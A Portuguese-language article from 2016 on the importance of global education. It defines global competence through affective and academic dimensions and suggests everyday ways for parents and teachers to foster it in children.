EducaçãoA importância da educação Global

20 de setembro de 2016

Globalização. Uma palavra já cansada de aparecer em publicações, círculos sociais, acadêmicos e em quaisquer outras conversas sobre os tempos modernos. Já nos parece óbvio que o “mundo é plano” e que temos que nos adaptar às constantes mudanças e aos intensos intercâmbios de informações. Clichês. Afirmar ser “globalizado” já parece ser uma condição que...

Globalização. Uma palavra já cansada de aparecer em publicações, círculos sociais, acadêmicos e em quaisquer outras conversas sobre os tempos modernos. Já nos parece óbvio que o “mundo é plano” e que temos que nos adaptar às constantes mudanças e aos intensos intercâmbios de informações. Clichês.

Afirmar ser “globalizado” já parece ser uma condição que nasce conosco e que faz parte de quem somos. Mas será mesmo?

Viver em um mundo não-globalizado não é mais uma opção… mas ser um cidadão global educado e competente para viver neste mundo ainda é uma opção. Muitos optam e outros muitos não encontram as oportunidades necessárias para desenvolver esta competência tão importante.

Mas afinal, o que significa ter uma competência global?

Em um curso recente da Universidade de Harvard, o Think Tank on Global Education, a competência global foi definida como possuindo várias dimensões. Descrevemos abaixo duas destas dimensões:

  • A dimensão afetiva: uma disposição positiva frente às diferenças culturais e ao novo. A habilidade de enxergar diferenças como oportunidades para interações construtivas, respeitosas e pacíficas.
  • A dimensão acadêmica: possuir conhecimento e compreensão de temas da história mundial, geografia e áreas que impactam diversas nações, tais como meio ambiente, comércio global, saúde, dentre outros. Este ferramental permite pensar criticamente os desafios globais atuais, passados e futuros.

Em suma, é possível pensar em competência global como o conjunto de conhecimentos, competências e motivações para investigar o mundo, reconhecer diferentes perspectivas, comunicar ideias e se tornar agente de mudanças na sociedade.

E as razões para incentivar este tipo de educação podem ser de ordem econômica ou cívica.

A melhor forma de preparar os estudantes para o futuro é equipá-los para que eles o inventem.

No lado econômico, o crescimento de organizações multinacionais e multiculturais e de profissões ditas “globais” demandam que os novos (e os não tão novos!) profissionais demonstrem flexibilidade, disposição e competências cosmopolitas. Neste sentido, ser globalmente competente maximizaria a empregabilidade do indivíduo e, em larga escala, o crescimento econômico dos países.

The best way to prepare students for the future is to equip them to invent it” – Alan Kay (A melhor forma de preparar os estudantes para o futuro é equipá-los para que eles o inventem).

Sensibilidade e conhecimento intercultural para incentivar o crescimento econômico e a paz entre as nações. Créditos: Shutterstock.

Além da questão econômica, talvez mais imediata aos olhos de muitos, o incentivo ao cosmopolitismo gera frutos de longo prazo que garantem os fundamentos das lideranças democráticas e da cidadania. Uma nação de cidadãos cosmopolitas estaria mais apta a administrar conflitos de forma pacífica e construtiva, devido ao seu conhecimento e disposição para entender diferentes perspectivas e colocá-las em contexto histórico e social adequados. Esta é a razão humanista pela qual a Educação Global se faz necessária.

Como implementar isso no meu dia a dia?

Intercâmbios internacionais, visitas a museus e exposições sobre outras culturas e povos, introdução a pratos de culinárias diversas, leituras de textos e autores de outros países e uso da tecnologia para se conectar ao conhecimento e a pessoas em todos os cantos do planeta – estas são algumas formas que podemos utilizar para incentivar a criação desta competência.

Além destas, aprender línguas estrangeiras, conhecer crianças de outros lugares e interagir (mesmo que virtualmente) com os temas globais atuais também são maneiras de instigar a educação global nos jovens.

Você já pensou em periodicamente ler o jornal com seu filho ou aluno e introduzir alguns temas internacionais, de forma leve e suave? Perguntas simples aguçarão a curiosidade da criança, que vai perguntar mais. Busque imagens do local em questão na internet e mostre sites interessantes sobre aquele novo tópico. Algumas escolas, por exemplo, começam o dia com a leitura e breve discussão de uma notícia do jornal. Isso pode ser aplicado de maneira transdisciplinar e não sobrecarrega o currículo demasiadamente.

Comece a navegar pelo mundo. Pequenos passos, grandes resultados e futuros cidadãos globais.

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